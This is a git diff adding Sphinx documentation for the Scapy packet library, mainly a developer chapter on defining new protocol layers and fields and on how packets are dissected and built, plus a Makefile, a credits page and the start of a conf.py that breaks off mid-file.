diff --git a/doc/scapy/Makefile b/doc/scapy/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..e9c11d0676164a4290f8ac58255ac0322448be76 --- /dev/null +++ b/doc/scapy/Makefile @@ -0,0 +1,70 @@ +# Makefile for Sphinx documentation +# + +# You can set these variables from the command line. +SPHINXOPTS = +SPHINXBUILD = sphinx-build +PAPER = + +# Internal variables. +PAPEROPT_a4 = -D latex_paper_size=a4 +PAPEROPT_letter = -D latex_paper_size=letter +ALLSPHINXOPTS = -d _build/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . + +.PHONY: help clean html web pickle htmlhelp latex changes linkcheck + +help: + @echo "Please use \`make <target>' where <target> is one of" + @echo " html to make standalone HTML files" + @echo " pickle to make pickle files (usable by e.g. sphinx-web)" + @echo " htmlhelp to make HTML files and a HTML help project" + @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" + @echo " changes to make an overview over all changed/added/deprecated items" + @echo " linkcheck to check all external links for integrity" + +clean: + -rm -rf _build/* + +html: + mkdir -p _build/html _build/doctrees + $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) _build/html + @echo + @echo "Build finished. The HTML pages are in _build/html." + +pickle: + mkdir -p _build/pickle _build/doctrees + $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) _build/pickle + @echo + @echo "Build finished; now you can process the pickle files or run" + @echo " sphinx-web _build/pickle" + @echo "to start the sphinx-web server." + +web: pickle + +htmlhelp: + mkdir -p _build/htmlhelp _build/doctrees + $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) _build/htmlhelp + @echo + @echo "Build finished; now you can run HTML Help Workshop with the" \ + ".hhp project file in _build/htmlhelp." + +latex: + mkdir -p _build/latex _build/doctrees + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) _build/latex + @echo + @echo "Build finished; the LaTeX files are in _build/latex." + @echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \ + "run these through (pdf)latex." + +changes: + mkdir -p _build/changes _build/doctrees + $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) _build/changes + @echo + @echo "The overview file is in _build/changes." + +linkcheck: + mkdir -p _build/linkcheck _build/doctrees + $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) _build/linkcheck + @echo + @echo "Link check complete; look for any errors in the above output " \ + "or in _build/linkcheck/output.txt." diff --git a/doc/scapy/_static/_dummy b/doc/scapy/_static/_dummy new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/scapy/_templates/_dummy b/doc/scapy/_templates/_dummy new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/scapy/backmatter.rst b/doc/scapy/backmatter.rst new file mode 100644 index 0000000000000000000000000000000000000000..c54e06873db24edbc590a6474adbb1870a5f2ea4 --- /dev/null +++ b/doc/scapy/backmatter.rst @@ -0,0 +1,12 @@ + +********* +Credits +********* + +- Philippe Biondi is Scapy's author. He has also written most of the documentation. +- Fred Raynal wrote the chapter on building and dissecting packets. +- Sebastien Martini added some details in "Handling default values: automatic computation". +- Dirk Loss integrated and restructured the existing docs to make this book. + He has also written the installation instructions for Windows. + + diff --git a/doc/scapy/build_dissect.rst b/doc/scapy/build_dissect.rst new file mode 100644 index 0000000000000000000000000000000000000000..b642a28ff64221f5a8999da29b20f6d99f80a6fe --- /dev/null +++ b/doc/scapy/build_dissect.rst @@ -0,0 +1,1025 @@ +******************** +Adding new protocols +******************** + +Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the +fields you need are already there and the protocol is not too brain-damaged, +this should be a matter of minutes. + +Simple example +============== + +A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation +is hold by the ``Packet`` class and will be inherited. +A simple layer is compounded by a list of fields that will be either concatenated +when assembling the layer or dissected one by one when desassembling a string. +The list of fields is held in an attribute named ``fields_desc``. Each field is an instance +of a field class:: + + class Disney(Packet): + name = "DisneyPacket " + fields_desc=[ ShortField("mickey",5), + XByteField("minnie",3) , + IntEnumField("donald" , 1 , + { 1: "happy", 2: "cool" , 3: "angry" } ) ] + +In this example, our layer has three fields. The first one is an 2 byte integer +field named ``mickey`` and whose default value is 5. The second one is a 1 byte +integer field named ``minnie`` and whose default value is 3. The difference between +a vanilla ``ByteField`` and a ``XByteField` is only the fact that the prefered human +representation of the field’s value is in hexadecimal. The last field is a 4 byte +integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact +that some of the possible values of the field have litterate representations. For +example, if it is worth 3, the value will be displayed as angry. Moreover, if the +"cool" value is assigned to this field, it will understand that it has to take the +value 2. + +If your protocol is as simple as this, it is ready to use:: + + >>> d=Disney(mickey=1) + >>> ls(d) + mickey : ShortField = 1 (5) + minnie : XByteField = 3 (3) + donald : IntEnumField = 1 (1) + >>> d.show() + ###[ Disney Packet ]### + mickey= 1 + minnie= 0x3 + donald= happy + >>> d.donald="cool" + >>> str(d) + ’\x00\x01\x03\x00\x00\x00\x02’ + >>> Disney( ) + <Disney mickey=1 minnie=0x3 donald=cool |> + + +This chapter explains how to build a new protocol within Scapy. There are two main objectives: + +* Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals. +* Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it. + +Layers +====== + +Before digging into dissection itself, let us look at how packets are +organized. + +:: + + >>> p = IP()/TCP()/"AAAA" + >>> p + <IP frag=0 proto=TCP |<TCP |<Raw load='AAAA' |>>> + >>> p.summary() + 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' + +We are interested in 2 "inside" fields of the class Packet: + +* ``p.underlayer`` +* ``p.payload`` + +And here is the main "trick". You do not care about packets, only +about layers, stacked one after the other. + +One can easily access a layer by its name: ``p[TCP]`` returns the ``TCP`` +and followings layers. This is a shortcut for ``p.getlayer(TCP)``. + +.. note:: + There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol. + +Let's put everything together now, playing with the ``TCP`` layer:: + + >>> tcp=p[TCP] + >>> tcp.underlayer + <IP frag=0 proto=TCP |<TCP |<Raw load='AAAA' |>>> + >>> tcp.payload + <Raw load='AAAA' |> + +As expected, ``tcp.underlayer`` points to the beginning of our IP packet, +and ``tcp.payload`` to its payload. + +Building a new layer +-------------------- + +.. index:: + single: Layer + +VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition:: + + class UDP(Packet): + name = "UDP" + fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), + ShortEnumField("dport", 53, UDP_SERVICES), + ShortField("len", None), + XShortField("chksum", None), ] + +And you are done! There are many fields already defined for +convenience, look at the doc``^W`` sources as Phil would say. + +So, defining a layer is simply gathering fields in a list. The goal is +here to provide the efficient default values for each field so the +user does not have to give them when he builds a packet. + +The main mechanism is based on the ``Field`` structure. Always keep in +mind that a layer is just a little more than a list of fields, but not +much more. + +So, to understanding how layers are working, one needs to look quickly +at how the fields are handled. + + +Manipulating packets == manipulating its fields +----------------------------------------------- + +.. index:: + single: i2h() + single: i2m() + single: m2i() + +A field should be considered in different states: + +- ``i`` (nternal) : this is the way Scapy manipulates it. +- ``m`` (achine) : this is where the truth is, that is the layer as it is + on the network. +- ``h`` (uman) : how the packet is displayed to our human eyes. + +This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on +available in each field: they are conversion from one state to +another, adapted to a specific use. + +Other special functions: + +- ``any2i()`` guess the input representation and returns the internal one. +- ``i2repr()`` a nicer ``i2h()`` + +However, all these are "low level" functions. The functions adding or +extracting a field to the current layer are: + +- ``addfield(self, pkt, s, val)``: copy the network representation of + field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``:: + + class StrFixedLenField(StrField): + def addfield(self, pkt, s, val): + return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) + +- ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field + value belonging to layer ``pkt``. It returns a list, the 1st element + is the raw packet string after having removed the extracted field, + the second one is the extracted field itself in internal + representation:: + + class StrFixedLenField(StrField): + def getfield(self, pkt, s): + return s[self.length:], self.m2i(pkt,s[:self.length]) + +When defining your own layer, you usually just need to define some +``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``. + + +Example: variable length quantities +----------------------------------- + +There is way to represent integers on a variable length quantity often +used in protocols, for instance when dealing with signal processing +(e.g. MIDI). + +Each byte of the number is coded with the MSB set to 1, except the +last byte. For instance, 0x123456 will be coded as 0xC8E856:: + + def vlenq2str(l): + s = [] + s.append( hex(l & 0x7F) ) + l = l >> 7 + while l>0: + s.append( hex(0x80 | (l & 0x7F) ) ) + l = l >> 7 + s.reverse() + return "".join(map( lambda(x) : chr(int(x, 16)) , s)) + + def str2vlenq(s=""): + i = l = 0 + while i<len(s) and ord(s[i]) & 0x80: + l = l << 7 + l = l + (ord(s[i]) & 0x7F) + i = i + 1 + if i == len(s): + warning("Broken vlenq: no ending byte") + l = l << 7 + l = l + (ord(s[i]) & 0x7F) + + return s[i+1:], l + +We will define a field which computes automatically the length of a +associated string, but used that encoding format:: + + class VarLenQField(Field): + """ variable length quantities """ + + def __init__(self, name, default, fld): + Field.__init__(self, name, default) + self.fld = fld + + def i2m(self, pkt, x): + if x is None: + f = pkt.get_field(self.fld) + x = f.i2len(pkt, pkt.getfieldval(self.fld)) + x = vlenq2str(x) + return str(x) + + def m2i(self, pkt, x): + if s is None: + return None, 0 + return str2vlenq(x)[1] + + def addfield(self, pkt, s, val): + return s+self.i2m(pkt, val) + + def getfield(self, pkt, s): + return str2vlenq(s) + +And now, define a layer using this kind of field:: + + class FOO(Packet): + name = "FOO" + fields_desc = [ VarLenQField("len", None, "data"), + StrLenField("data", "", "len") ] + + >>> f = FOO(data="A"*129) + >>> f.show() + ###[ FOO ]### + len= 0 + data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + +Here, ``len`` is not yet computed and only the default value are +displayed. This is the current internal representation of our +layer. Let's force the computation now:: + + >>> f.show2() + ###[ FOO ]### + len= 129 + data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + +The method ``show2()`` displays the fields with their values as they will +be sent to the network, but in a human readable way, so we see ``len=129``. +Last but not least, let us look now at the machine representation:: + + >>> str(f) + '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + +The first 2 bytes are ``\x81\x01``, which is 129 in this encoding. + + + +Dissecting +========== +.. index:: + dissecting + +Layers are only list of fields, but what is the glue between each +field, and after, between each layer. These are the mysteries explain +in this section. + +The basic stuff +--------------- + +The core function for dissection is ``Packet.dissect()``:: + + def dissect(self, s): + s = self.pre_dissect(s) + s = self.do_dissect(s) + s = self.post_dissect(s) + payl,pad = self.extract_padding(s) + self.do_dissect_payload(payl) + if pad and conf.padding: + self.add_payload(Padding(pad)) + +When called, ``s`` is a string containing what is going to be +dissected. ``self`` points to the current layer. + +:: + + >>> p=IP("A"*20)/TCP("B"*32) + WARNING: bad dataofs (4). Assuming dataofs=5 + >>> p + <IP version=4L ihl=1L tos=0x41 len=16705 id=16705 flags=DF frag=321L ttl=65 proto=65 chksum=0x4141 + src=65.65.65.65 dst=65.65.65.65 |<TCP sport=16962 dport=16962 seq=1111638594L ack=1111638594L dataofs=4L + reserved=2L flags=SE window=16962 chksum=0x4242 urgptr=16962 options=[] |<Raw load='BBBBBBBBBBBB' |>>> + +``Packet.dissect()`` is called 3 times: + +1. to dissect the ``"A"*20`` as an IPv4 header +2. to dissect the ``"B"*32`` as a TCP header +3. and since there are still 12 bytes in the packet, they are + dissected as "``Raw``" data (which is some kind of default layer type) + + +For a given layer, everything is quite straightforward. + +- ``pre_dissect()`` is called to prepare the layer. +- ``do_dissect()`` perform the real dissection of the layer. +- ``post_dissection()`` is called when some updates are needed on the + dissected inputs (e.g. deciphering, uncompressing, ... ) +- ``extract_padding()`` is an important function which should be called + by every layer containing its own size, so that it can tell apart + in the payload what is really related to this layer and what will + be considered as additional padding bytes. +- ``do_dissect_payload()`` is the function in charge of dissecting the + payload (if any). It is based on ``guess_payload_class()`` (see + below). Once the type of the payload is known, the payload is bound + to the current layer with this new type:: + + def do_dissect_payload(self, s): + cls = self.guess_payload_class(s) + p = cls(s, _internal=1, _underlayer=self) + self.add_payload(p) + +At the end, all the layers in the packet are dissected, and glued +together with their known types. + + +Dissecting fields +----------------- + +The method with all the magic between a layer and its fields is +``do_dissect()``. If you have understood the different representations of +a layer, you should understand that "dissecting" a layer is building +each of its fields from the machine to the internal representation. + +Guess what? That is exactly what ``do_dissect()`` does:: + + def do_dissect(self, s): + flist = self.fields_desc[:] + flist.reverse() + while s and flist: + f = flist.pop() + s,fval = f.getfield(self, s) + self.fields[f] = fval + return s + +So, it takes the raw string packet, and feed each field with it, as +long as there are data or fields remaining:: + + >>> FOO("\xff\xff"+"B"*8) + <FOO len=2097090 data='BBBBBBB' |> + +When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first +field is VarLenQField. Thus, it takes bytes as long as their MSB is +set, thus until (and including) the first '``B``'. This mapping is done +thanks to ``VarLenQField.getfield()`` and can be cross-checked:: + + >>> vlenq2str(2097090) + '\xff\xffB' + +Then, the next field is extracted the same way, until 2097090 bytes +are put in ``FOO.data`` (or less if 2097090 bytes are not available, as +here). + +If there are some bytes left after the dissection of the current +layer, it is mapped in the same way to the what the next is expected +to be (``Raw`` by default):: + + >>> FOO("\x05"+"B"*8) + <FOO len=5 data='BBBBB' |<Raw load='BBB' |>> + +Hence, we need now to understand how layers are bound together. + +Binding layers +-------------- + +One of the cool features with Scapy when dissecting layers is that is +try to guess for us what the next layer is. The official way to link 2 +layers is using ``bind_layers()``: + +For instance, if you have a class ``HTTP``, you may expect that all the +packets coming from or going to port 80 will be decoded as such. This +is simply done that way:: + + bind_layers( TCP, HTTP, sport=80 ) + bind_layers( TCP, HTTP, dport=80 ) + +That's all folks! Now every packet related to port 80 will be +associated to the layer ``HTTP``, whether it is read from a pcap file or +received from the network. + +The ``guess_payload_class()`` way +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Sometimes, guessing the payload class is not as straightforward as +defining a single port. For instance, it can depends on a value of a +given byte in the current layer. The 2 needed methods are: + + - ``guess_payload_class()`` which must return the guessed class for the + payload (next layer). By default, it uses links between classes + that have been put in place by ``bind_layers()``. + + - ``default_payload_class()`` which returns the default value. This + method defined in the class ``Packet`` returns ``Raw``, but it can be + overloaded. + +For instance, decoding 802.11 changes depending on whether it is +ciphered or not:: + + class Dot11(Packet): + def guess_payload_class(self, payload): + if self.FCfield & 0x40: + return Dot11WEP + else: + return Packet.guess_payload_class(self, payload) + +Several comments are needed here: + + - this cannot be done using ``bind_layers()`` because the tests are + supposed to be "``field==value``", but it is more complicated here as we + test a single bit in the value of a field. + + - if the test fails, no assumption is made, and we plug back to the + default guessing mechanisms calling ``Packet.guess_payload_class()`` + +Most of the time, defining a method ``guess_payload_class()`` is not a +necessity as the same result can be obtained from ``bind_layers()``. + +Changing the default behavior +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +If you do not like Scapy's behavior for a given layer, you can either +change or disable it through the call to ``split_layer()``. For instance, +if you do not want UDP/53 to be bound with ``DNS``, just add in your code: +`` +split_layers(UDP, DNS, sport=53) +`` +Now every packet with source port 53 will not be handled as DNS, but +whatever you specify instead. + + + +Under the hood: putting everything together +------------------------------------------- + +In fact, each layer has a field payload_guess. When you use the +bind_layers() way, it adds the defined next layers to that list. + +:: + + >>> p=TCP() + >>> p.payload_guess + [({'dport': 2000}, <class 'scapy.Skinny'>), ({'sport': 2000}, <class 'scapy.Skinny'>), ... )] + +Then, when it needs to guess the next layer class, it calls the +default method ``Packet.guess_payload_class()``. This method runs through +each element of the list payload_guess, each element being a +tuple: + + - the 1st value is a field to test (``'dport': 2000``) + - the 2nd value is the guessed class if it matches (``Skinny``) + +So, the default ``guess_payload_class()`` tries all element in the list, +until one matches. If no element are found, it then calls +``default_payload_class()``. If you have redefined this method, then yours +is called, otherwise, the default one is called, and ``Raw`` type is +returned. + +``Packet.guess_payload_class()`` + +- test what is in field ``guess_payload`` +- call overloaded ``guess_payload_class()`` + + +Building +======== + +Building a packet is as simple as building each layer. Then, some +magic happens to glue everything. Let's do magic then. + +The basic stuff +--------------- + +First thing to establish: what does "build" mean? As we have seen, a +layer can be represented in different ways (human, internal, +machine). Building means going to the machine format. + +Second thing to understand is ''when'' a layer is built. Answer is not +that obvious, but as soon as you need the machine representation, the +layers are built: when the packet is dropped on the network or written +to a file, when it is converted as a string, ... In fact, machine +representation should be regarded as a big string with the layers +appended altogether. + +:: + + >>> p = IP()/TCP() + >>> hexdump(p) + 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... + 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ + 0020 50 02 20 00 91 7C 00 00 P. ..|.. + +Calling str() builds the packet: + - non instanced fields are set to their default value + - lengths are updated automatically + - checksums are computed + - and so on. + +In fact, using ``str()`` rather than ``show2()`` or any other method is not a +random choice as all the functions building the packet calls +``Packet.__str__()``. However, ``__str__()`` calls another method: ``build()``:: + + def __str__(self): + return self.__iter__().next().build() + +What is important also to understand is that usually, you do not care +about the machine representation, that is why the human and internal +representations are here. + +So, the core method is ``build()`` (the code has been shortened to keep +only the relevant parts):: + + def build(self,internal=0): + pkt = self.do_build() + pay = self.build_payload() + p = self.post_build(pkt,pay) + if not internal: + pkt = self + while pkt.haslayer(Padding): + pkt = pkt.getlayer(Padding) + p += pkt.load + pkt = pkt.payload + return p + +So, it starts by building the current layer, then the payload, and +``post_build()`` is called to update some late evaluated fields (like +checksums). Last, the padding is added to the end of the packet. + +Of course, building a layer is the same as building each of its +fields, and that is exactly what ``do_build()`` does. + +Building fields +--------------- + +The building of each field of a layer is called in ``Packet.do_build()``:: + + def do_build(self): + p="" + for f in self.fields_desc: + p = f.addfield(self, p, self.getfieldval(f)) + return p + +The core function to build a field is ``addfield()``. It takes the +internal view of the field and put it at the end of ``p``. Usually, this +method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where +``val=self.getfieldval(f)``). + +If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the +way it must be. For instance, if a byte is expected, ``struct.pack("B", val)`` +is the right way to convert it. + +However, things are more complicated if ``val`` is not set, it means no +default value was provided earlier, and thus the field needs to +compute some "stuff" right now or later. + +"Right now" means thanks to ``i2m()``, if all pieces of information is +available. For instance, if you have to handle a length until a +certain delimiter. + +Ex: counting the length until a delimiter + +:: + + class XNumberField(FieldLenField): + + def __init__(self, name, default, sep="\r\n"): + FieldLenField.__init__(self, name, default, fld) + self.sep = sep + + def i2m(self, pkt, x): + x = FieldLenField.i2m(self, pkt, x) + return "%02x" % x + + def m2i(self, pkt, x): + return int(x, 16) + + def addfield(self, pkt, s, val): + return s+self.i2m(pkt, val) + + def getfield(self, pkt, s): + sep = s.find(self.sep) + return s[sep:], self.m2i(pkt, s[:sep]) + +In this example, in ``i2m()``, if ``x`` has already a value, it is converted +to its hexadecimal value. If no value is given, a length of "0" is +returned. + +The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()`` +for each field in the layer, which in turn calls ``Field.i2m()``: the +layer is built IF a value was available. + + +Handling default values: ``post_build`` +--------------------------------------- + +A default value for a given field is sometimes either not known or +impossible to compute when the fields are put together. For instance, +if we used a ``XNumberField`` as defined previously in a layer, we expect +it to be set to a given value when the packet is built. However, +nothing is returned by ``i2m()`` if it is not set. + +The answer to this problem is ``Packet.post_build()``. + +When this method is called, the packet is already built, but some +fields still need to be computed. This is typically what is required +to compute checksums or lengths. In fact, this is required each time a +field's value depends on something which is not in the current + +So, let us assume we have a packet with a ``XNumberField``, and have a +look to its building process:: + + class Foo(Packet): + fields_desc = [ + ByteField("type", 0), + XNumberField("len", None, "\r\n"), + StrFixedLenField("sep", "\r\n", 2) + ] + + def post_build(self, p, pay): + if self.len is None and pay: + l = len(pay) + p = p[:1] + hex(l)[2:]+ p[2:] + return p+pay + +When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload, +that is what has already been built. We want our length to be the full +length of the data put after the separator, so we add its computation +in ``post_build()``. + +:: + + >>> p = Foo()/("X"*32) + >>> p.show2() + ###[ Foo ]### + type= 0 + len= 32 + sep= '\r\n' + ###[ Raw ]### + load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' + +``len`` is correctly computed now:: + + >>> hexdump(str(p)) + 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX + 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX + 0020 58 58 58 58 58 XXXXX + +And the machine representation is the expected one. + + +Handling default values: automatic computation +---------------------------------------------- + +As we have previously seen, the dissection mechanism is built upon the +links between the layers created by the programmer. However, it can +also be used during the building process. + +In the layer ``Foo()``, our first byte is the type, which defines what +comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer +is ``Bar1``, and so on. We would like then this field to be set +automatically according to what comes next. + +:: + + class Bar1(Packet): + fields_desc = [ + IntField("val", 0), + ] + + class Bar2(Packet): + fields_desc = [ + IPField("addr", "127.0.0.1") + ] + +If we use these classes with nothing else, we will have trouble when +dissecting the packets as nothing binds Foo layer with the multiple +``Bar*`` even when we explicitely build the packet through the call to +``show2()``:: + + >>> p = Foo()/Bar1(val=1337) + >>> p + <Foo |<Bar1 val=1337 |>> + >>> p.show2() + ###[ Foo ]### + type= 0 + len= 4 + sep= '\r\n' + ###[ Raw ]### + load= '\x00\x00\x059' + +Problems: + +1. ``type`` is still equal to 0 while we wanted it to be automatically + set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)`` + but this is not very convenient. + +2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This + is because no links have been set between ``Foo()`` and ``Bar*()``. + +In order to understand what we should have done to obtain the proper +behavior, we must look at how the layers are assembled. When two +independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are +compounded with the '/' operator, it results in a new packet where the +two previous instances are cloned (i.e. are now two distinct objects +structurally differents, but holding the same values):: + + def __div__(self, other): + if isinstance(other, Packet): + cloneA = self.copy() + cloneB = other.copy() + cloneA.add_payload(cloneB) + return cloneA + elif type(other) is str: + return self/Raw(load=other) + +The right hand side of the operator becomes the payload of the left +hand side. This is performed through the call to +``add_payload()``. Finally, the new packet is returned. + +Note: we can observe that if other isn't a ``Packet`` but a string, +the ``Raw`` class is instantied to form the payload. Like in this +example:: + + >>> IP()/"AAAA" + <IP |<Raw load='AAAA' |>> + +Well, what ``add_payload()`` should implement? Just a link between +two packets? Not only, in our case this method will appropriately set +the correct value to ``type``. + +Instinctively we feel that the upper layer (the right of '/') can +gather the values to set the fields to the lower layer (the left of +'/'). Like previously explained, there is a convenient mechanism to +specify the bindings in both directions between two neighbouring +layers. + +Once again, these information must be provided to ``bind_layers()``, +which will internally call ``bind_top_down()`` in charge to +aggregate the fields to overload. In our case what we needs to specify +is:: + + bind_layers( Foo, Bar1, {'type':1} ) + bind_layers( Foo, Bar2, {'type':2} ) + +Then, ``add_payload()`` iterates over the ``overload_fields`` of +the upper packet (the payload), get the fields associated to the lower +packet (by its type) and insert them in ``overloaded_fields``. + +For now, when the value of this field will be requested, +``getfieldval()`` will return the value inserted in +``overloaded_fields``. + +The fields are dispatched between three dictionaries: + +- ``fields``: fields whose the value have been explicitely set, like + ``pdst`` in TCP (``pdst='42'``) +- ``overloaded_fields``: overloaded fields +- ``default_fields``: all the fields with their default value (these fields + are initialized according to ``fields_desc`` by the constructor + by calling ``init_fields()`` ). + +In the following code we can observe how a field is selected and its +value returned:: + + def getfieldval(self, attr): + for f in self.fields, self.overloaded_fields, self.default_fields: + if f.has_key(attr): + return f[attr] + return self.payload.getfieldval(attr) + +Fields inserted in ``fields`` have the higher priority, then +``overloaded_fields``, then finally ``default_fields``. Hence, if +the field ``type`` is set in ``overloaded_fields``, its value will +be returned instead of the value contained in ``default_fields``. + + +We are now able to understand all the magic behind it! + +:: + + >>> p = Foo()/Bar1(val=0x1337) + >>> p + <Foo type=1 |<Bar1 val=4919 |>> + >>> p.show() + ###[ Foo ]### + type= 1 + len= 4 + sep= '\r\n' + ###[ Bar1 ]### + val= 4919 + +Our 2 problems have been solved without us doing much: so good to be +lazy :) + +Under the hood: putting everything together +------------------------------------------- + +Last but not least, it is very useful to understand when each function +is called when a packet is built:: + + >>> hexdump(str(p)) + Packet.str=Foo + Packet.iter=Foo + Packet.iter=Bar1 + Packet.build=Foo + Packet.build=Bar1 + Packet.post_build=Bar1 + Packet.post_build=Foo + +As you can see, it first runs through the list of each field, and then +build them starting from the beginning. Once all layers have been +built, it then calls ``post_build()`` starting from the end. + + +Fields +====== + +.. index:: + single: fields + +Here's a list of fields that Scapy supports out of the box: + +Simple datatypes +---------------- + +Legend: + +- ``X`` - hexadecimal representation +- ``LE`` - little endian (default is big endian = network byte order) +- ``Signed`` - signed (default is unsigned) + +:: + + ByteField + XByteField + + ShortField + LEShortField + XShortField + + X3BytesField # three bytes (in hexad + + IntField + SignedIntField + LEIntField + LESignedIntField + XIntField + + LongField + XLongField + LELongField + + IEEEFloatField + IEEEDoubleField + BCDFloatField # binary coded decimal + + BitField + XBitField + + BitFieldLenField # BitField specifying a length (used in RTP) + FlagsField + FloatField + +Enumerations +------------ + +Possible field values are taken from a given enumeration (list, dictionary, ...) +e.g.:: + + ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) + +:: + + EnumField(name, default, enum, fmt = "H") + CharEnumField + BitEnumField + ShortEnumField + LEShortEnumField + ByteEnumField + IntEnumField + SignedIntEnumField + LEIntEnumField + XShortEnumField + +Strings +------- + + + StrField(name, default, fmt="H", remain=0, shift=0) + StrLenField(name, default, fld=None, length_from=None, shift=0): + StrFixedLenField + StrNullField + StrStopField + +Lists and lengths +----------------- + +:: + + FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) + # A list assembled and dissected with many times the same field type + + # field: instance of the field that will be used to assemble and disassemble a list item + # length_from: name of the FieldLenField holding the list length + + FieldLenField # holds the list length of a FieldList field + LEFieldLenField + + LenField # contains len(pkt.payload) + + PacketField # holds packets + PacketLenField # used e.g. in ISAKMP_payload_Proposal + PacketListField + +The FieldListField and LengthFields articles on the Wiki have more info on this topic. + +Special +------- + +:: + + Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), + + ActionField + + ConditionalField(fld, cond) + # Wrapper to make field 'fld' only appear if + # function 'cond' evals to True, e.g. + # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) + + + PadField(fld, align, padwith=None) + # Add bytes after the proxified field so that it ends at + # the specified alignment from its begining + +TCP/IP +------ + +:: + + IPField + SourceIPField + + IPoptionsField + TCPOptionsField + + MACField + DestMACField(MACField) + SourceMACField(MACField) + ARPSourceMACField(MACField) + + ICMPTimeStampField + +802.11 +------ + +:: + + Dot11AddrMACField + Dot11Addr2MACField + Dot11Addr3MACField + Dot11Addr4MACField + Dot11SCField + +DNS +--- + +:: + + DNSStrField + DNSRRCountField + DNSRRField + DNSQRField + RDataField + RDLenField + +ASN.1 +----- + +:: + + ASN1F_element + ASN1F_field + ASN1F_INTEGER + ASN1F_enum_INTEGER + ASN1F_STRING + ASN1F_OID + ASN1F_SEQUENCE + ASN1F_SEQUENCE_OF + ASN1F_PACKET + ASN1F_CHOICE + +Other protocols +--------------- + +:: + + NetBIOSNameField # NetBIOS (StrFixedLenField) + + ISAKMPTransformSetField # ISAKMP (StrLenField) + + TimeStampField # NTP (BitField) + + diff --git a/doc/scapy/conf.py b/doc/scapy/conf.py new file mode 100644 index 0000000000000000000000000000000000000000..0165d51887711dc8b6d940fd300592160f18eaba --- /dev/null +++ b/doc/scapy/conf.py @@ -0,0 +1,179 @@ +# -*- coding: utf-8 -*- +# +# Scapy documentation build configuration file, created by +# sphinx-quickstart on Mon Sep 8 19:37:39 2008. +# +# This file is execfile()d with the current directory set to its containing dir. +# +# The contents of this file are pickled, so don't put values in the namespace +# that aren't pickleable (module imports are okay, they're removed automatically). +# +# All configuration values have a default value; values that are commented out +# serve to show the default value. + +import sys, os + +# If your extensions are in another directory, add it here. If the directory +# is relative to the documentation root, use os.path.abspath to make it +# absolute, like shown here. +#sys.path.append(os.path.abspath('some/directory')) + +# General configuration +# --------------------- + +# Add any Sphinx extension module names here, as strings. They can be extensions +# coming with Sphinx (named 'sphinx.ext.*') or your custom ones. +extensions = [] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix of source filenames. +source_suffix = '.rst' + +# The master toctree document. +master_doc = 'index' + +# General substitutions. +project = 'Scapy' +copyright = '2008, Philippe Biondi and the Scapy community' + +# The default replacements for |version| and |release|, also used in various +# other places throughout the built documents. +# +# The short X.Y version. +version = '2.0.0' +# The full version, including alpha/beta/rc tags. +release = '2.0.0' + +# There are two 